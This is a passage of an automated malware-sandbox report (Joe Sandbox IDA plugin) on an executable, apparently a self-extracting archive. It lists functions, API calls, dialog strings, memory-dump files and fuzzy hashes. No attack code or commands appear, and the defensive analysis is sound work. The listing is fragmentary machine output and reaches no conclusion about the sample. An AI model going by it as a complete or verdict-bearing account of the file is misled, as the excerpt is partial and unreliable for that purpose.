Part of subcall function 00BA8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34), ref: 00BA8DE2
Part of subcall function 00BA8DCC: GetLastError.KERNEL32(00BB3A34,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34,00BB3A34), ref: 00BA8DF4

_free.LIBCMT ref: 00BA8930
_free.LIBCMT ref: 00BA8943
_free.LIBCMT ref: 00BA8954
_free.LIBCMT ref: 00BA8965

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8106b0a146b17c1d46be60743a11349c09cb9841e84fd830d200a39614d5ee4f
Instruction ID: 1e80fccd66c9cf3a88ba1b58f382ed3147a747126e4f21220af4d392c0b1cbf8
Opcode Fuzzy Hash: 8106b0a146b17c1d46be60743a11349c09cb9841e84fd830d200a39614d5ee4f
Instruction Fuzzy Hash: 5CF03AB58141628B8A4A7F24FC824963FE9F726710700069AF5655F6B1DFB1C941AB81

Function 00B915FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B917BC
_swprintf.LIBCMT ref: 00B9186B

Strings

%ls, xrefs: 00B91641, 00B91657
%s: %s, xrefs: 00B917CB

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: b1e511d922f510080f18f01acf178b774abc4b968b8d0fce37f024d9ac94f9de
Instruction ID: d39953025272d582280a77d13f8c6c85e80ea4e2e7554afa5af9c91df2814a9d
Opcode Fuzzy Hash: b1e511d922f510080f18f01acf178b774abc4b968b8d0fce37f024d9ac94f9de
Instruction Fuzzy Hash: C3510C75688303F6EE112AEC8DC6F3576E5AB05B04F148DF6F396640F1D9B2A810B71A

Function 00BA7F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\eP6sjvTqJa.exe,00000104), ref: 00BA7FAE
_free.LIBCMT ref: 00BA8079
_free.LIBCMT ref: 00BA8083

Strings

C:\Users\user\Desktop\eP6sjvTqJa.exe, xrefs: 00BA7FA5, 00BA7FAC, 00BA7FDB, 00BA8013

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\eP6sjvTqJa.exe
API String ID: 2506810119-917788599
Opcode ID: 3a9480b17b89135c8ab7cebdb5c8d88b8152d4333a025add9bc919d1765a2ef4
Instruction ID: dfc2b9c43f3fe139f2fa0756b3f77d07e39bfa340c66429a09ddb0d8294ff20e
Opcode Fuzzy Hash: 3a9480b17b89135c8ab7cebdb5c8d88b8152d4333a025add9bc919d1765a2ef4
Instruction Fuzzy Hash: 78319071A08258AFDB21DF99DC8599EBBFCEF96310F1041EAF8049B211DA718E44CB61

Function 00BA31D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00BA31FB
_abort.LIBCMT ref: 00BA3306

Strings

RCC, xrefs: 00BA3215
MOC, xrefs: 00BA320D

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 482a4d5c0a1c7ce08c62a4d033dcb6871734c5c31876444f572635d715e1ec14
Instruction ID: 1de45d60ef1d45d0b5093b0a96134c9e3a5db6e6cdbc0776c4571541d62d0e9c
Opcode Fuzzy Hash: 482a4d5c0a1c7ce08c62a4d033dcb6871734c5c31876444f572635d715e1ec14
Instruction Fuzzy Hash: 24415671904209AFCF15DF98CC81AEEBBF5FF4A704F188099F904A7221D336AA50DB54

Function 00B87401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B87406

Part of subcall function 00B83BBA: __EH_prolog.LIBCMT ref: 00B83BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00B874CD

Part of subcall function 00B87A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B87AAB
Part of subcall function 00B87A9C: GetLastError.KERNEL32 ref: 00B87AF1
Part of subcall function 00B87A9C: CloseHandle.KERNEL32(?), ref: 00B87B00

Strings

SeRestorePrivilege, xrefs: 00B87460
SeSecurityPrivilege, xrefs: 00B8744B

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: fa7a6bc2219d29c87fa83d14b326e2ff13c1c3e019a849b6f36a62902412c2b4
Instruction ID: 3d5b4d4c5a1809fc3a98a3ce0db954bffbd60b84744cf42df50d3a1fdb2ae156
Opcode Fuzzy Hash: fa7a6bc2219d29c87fa83d14b326e2ff13c1c3e019a849b6f36a62902412c2b4
Instruction Fuzzy Hash: F131B071D44248AADF11FBA8CC45FEE7BE9EB19708F144095F405A72A2CF748A44CB60

Function 00B9AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00B81316: GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
Part of subcall function 00B81316: SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

EndDialog.USER32(?,00000001), ref: 00B9AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 00B9ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 00B9ADC2

Strings

ASKNEXTVOL, xrefs: 00B9AD28

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: d4413e94f1745c820b7e1e77ff9700a098c7ab7e4aa1d90bac550157c0e4f58a
Instruction ID: e72b9677cb200d8b20336bf433600d767c84bf4f4051116945aa65ef0ac9d3c1
Opcode Fuzzy Hash: d4413e94f1745c820b7e1e77ff9700a098c7ab7e4aa1d90bac550157c0e4f58a
Instruction Fuzzy Hash: 37118432240200AFDA119F6C9C89F6A77E9EF4A742F1048B0F241DF5B1CB61994597A6

Function 00B8D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 00B8D954
_strncpy.LIBCMT ref: 00B8D99A

Part of subcall function 00B91DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00BC1030,00000200,00B8D928,00000000,?,00000050,00BC1030), ref: 00B91DC4

Strings

@%s, xrefs: 00B8D93E
$%s, xrefs: 00B8D949

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: faf1ca4ab85dfeeb8e89193046a91ba829fbd656e26374f6cd9c50049246bc2e
Instruction ID: 5d490370b26e0cf8218db24000813ce63f039b27754f3a59d02fca0f05bcced2
Opcode Fuzzy Hash: faf1ca4ab85dfeeb8e89193046a91ba829fbd656e26374f6cd9c50049246bc2e
Instruction Fuzzy Hash: 3D215C72440248AADF21EEA8CC46FEE7BE8EF05704F1405A2F910961F2E272DA48DB51

Function 00B90E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,00B8AC5A,00000008,?,00000000,?,00B8D22D,?,00000000), ref: 00B90E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,00B8AC5A,00000008,?,00000000,?,00B8D22D,?,00000000), ref: 00B90E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,00B8AC5A,00000008,?,00000000,?,00B8D22D,?,00000000), ref: 00B90E9F

Strings

Thread pool initialization failed., xrefs: 00B90EB7

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 66a070c20be8a0de362cb70e6fe3d012c98c18f4d019ea5954d3608d1086e84d
Instruction ID: df19b9e983495758ff84ab1987b18b8abf513270e90314d77075a8462381d2f6
Opcode Fuzzy Hash: 66a070c20be8a0de362cb70e6fe3d012c98c18f4d019ea5954d3608d1086e84d
Instruction Fuzzy Hash: DF1191B1A04B089FC3216F7ADC84AA7FBECEB55744F544C6EF1DAC3200DAB159408B64

Function 00B9B270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00B81316: GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
Part of subcall function 00B81316: SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

EndDialog.USER32(?,00000001), ref: 00B9B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 00B9B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 00B9B304

Strings

GETPASSWORD1, xrefs: 00B9B289

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 747000e0e9b59e489ad627205ae055160a5d7c06328154b50e89a3d3f8fc989d
Instruction ID: 73b7d2b86c74edecd2cf97a9821de44ff9a3495cff3f6ebf612eb307f07fc409
Opcode Fuzzy Hash: 747000e0e9b59e489ad627205ae055160a5d7c06328154b50e89a3d3f8fc989d
Instruction Fuzzy Hash: 8B11E53290012976DF22AB74AE89FFE3BECEB1A700F0000B5FA45B7190C7A49A018761

Function 00B9DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00B9DD31
REPLACEFILEDLG, xrefs: 00B9DD1C, 00B9DD50

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 4bfbbda9aeb3986e5b2a6641756f707ba6277308d20395b28376a3d8e331d83f
Instruction ID: b230908627cd4f30090f240246890aa10a24960e178b30cd287ca3ef86ecaa1f
Opcode Fuzzy Hash: 4bfbbda9aeb3986e5b2a6641756f707ba6277308d20395b28376a3d8e331d83f
Instruction Fuzzy Hash: 78017176604245AFDF159F5AFC84EA67BE8FB0D394B040476F905D7231DE319850DBA0

Function 00BA9A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00BA9AA9
__alldvrm.LIBCMT ref: 00BA9CAA
__alldvrm.LIBCMT ref: 00BA9CCC

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
Instruction ID: ddaeb9da94a74aa7169a5d85d49171851eb498c8f64ac2287f3cf0a08ebfb495
Opcode Fuzzy Hash: bd80df88fd36397a74f1d09f46f498bd400f42511a2e95d334d89abd8e93371a
Instruction Fuzzy Hash: EEA17C729087869FEB25CF28C8917BEBBE5EF57320F2441EEE4959B281D2388D41D750

Function 00B8A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00B87F69,?,?,?), ref: 00B8A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00B87F69,?), ref: 00B8A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00B87F69,?,?,?,?,?,?,?), ref: 00B8A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00B87F69,?,?,?,?,?,?,?,?,?,?), ref: 00B8A4C6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: eed7b195d04e6ac9519c41fcb3552d615203c7c5c812e60dfd3257359368d41f
Instruction ID: 61c9e9e996e65cea74d58d074951beeb73a042d74f35b2ef0bf7f2bf5377a7ac
Opcode Fuzzy Hash: eed7b195d04e6ac9519c41fcb3552d615203c7c5c812e60dfd3257359368d41f
Instruction Fuzzy Hash: 0D419231188381ABEB31EF24DC45F9EBBE49F85700F08099EB5D1932A1D6A49A48DB53

Function 00B81100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B8112B
_wcslen.LIBCMT ref: 00B81153
_wcslen.LIBCMT ref: 00B81182
_wcslen.LIBCMT ref: 00B811A9

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 73babdcbe430b6dda6401778cf54c1ce2191ca42cc39bf6e12b8cda9c0f380e0
Instruction ID: 0f226ed53f02d01b70bb67120a73b702480d9beee34f81afde9ed45a5134c303
Opcode Fuzzy Hash: 73babdcbe430b6dda6401778cf54c1ce2191ca42cc39bf6e12b8cda9c0f380e0
Instruction Fuzzy Hash: 7941B4719016699BCB21AF688C49AEE7BFCEF01711F00046AFD45F7251DF30AE558BA4

Function 00BAC988 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00BA91E0,?,00000000,?,00000001,?,?,00000001,00BA91E0,?), ref: 00BAC9D5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00BACA5E
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BA6CBE,?), ref: 00BACA70
__freea.LIBCMT ref: 00BACA79

Part of subcall function 00BA8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BACA2C,00000000,?,00BA6CBE,?,00000008,?,00BA91E0,?,?,?), ref: 00BA8E38

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 37f84e592b707ef617a448098be9784616c6c4b1d41d1722770686c11f7d3a49
Instruction ID: 848443e0c517c2a0face329291f697c5809c2121f8328017e748c2fa16f2bb5b
Opcode Fuzzy Hash: 37f84e592b707ef617a448098be9784616c6c4b1d41d1722770686c11f7d3a49
Instruction Fuzzy Hash: 1F318E72A0021AABDF25DF64DC85DBE7BE5EB42710B1442A8FC14E7254EB35DD50CBA0

Function 00B9A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00B9A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B9A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B9A683
ReleaseDC.USER32(00000000,00000000), ref: 00B9A691

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 1df1f539e3d9d9e46067f96a0cdb35c81ce0faa6842e737c46247bf727813325
Instruction ID: d08e10e632af87dd8d00a65859a3a8fef0d93800276f43518da8d14b54604da6
Opcode Fuzzy Hash: 1df1f539e3d9d9e46067f96a0cdb35c81ce0faa6842e737c46247bf727813325
Instruction Fuzzy Hash: 42E0EC31942B61A7D6A15B60AC8DF8B3E94AB09F52F010111FA059B291DF6586008BA1

Function 00B9A80C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00B9A699: GetDC.USER32(00000000), ref: 00B9A69D
Part of subcall function 00B9A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00B9A6A8
Part of subcall function 00B9A699: ReleaseDC.USER32(00000000,00000000), ref: 00B9A6B3

GetObjectW.GDI32(?,00000018,?), ref: 00B9A83C

Part of subcall function 00B9AAC9: GetDC.USER32(00000000), ref: 00B9AAD2
Part of subcall function 00B9AAC9: GetObjectW.GDI32(?,00000018,?), ref: 00B9AB01
Part of subcall function 00B9AAC9: ReleaseDC.USER32(00000000,?), ref: 00B9AB99

Strings

(, xrefs: 00B9A9AA

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

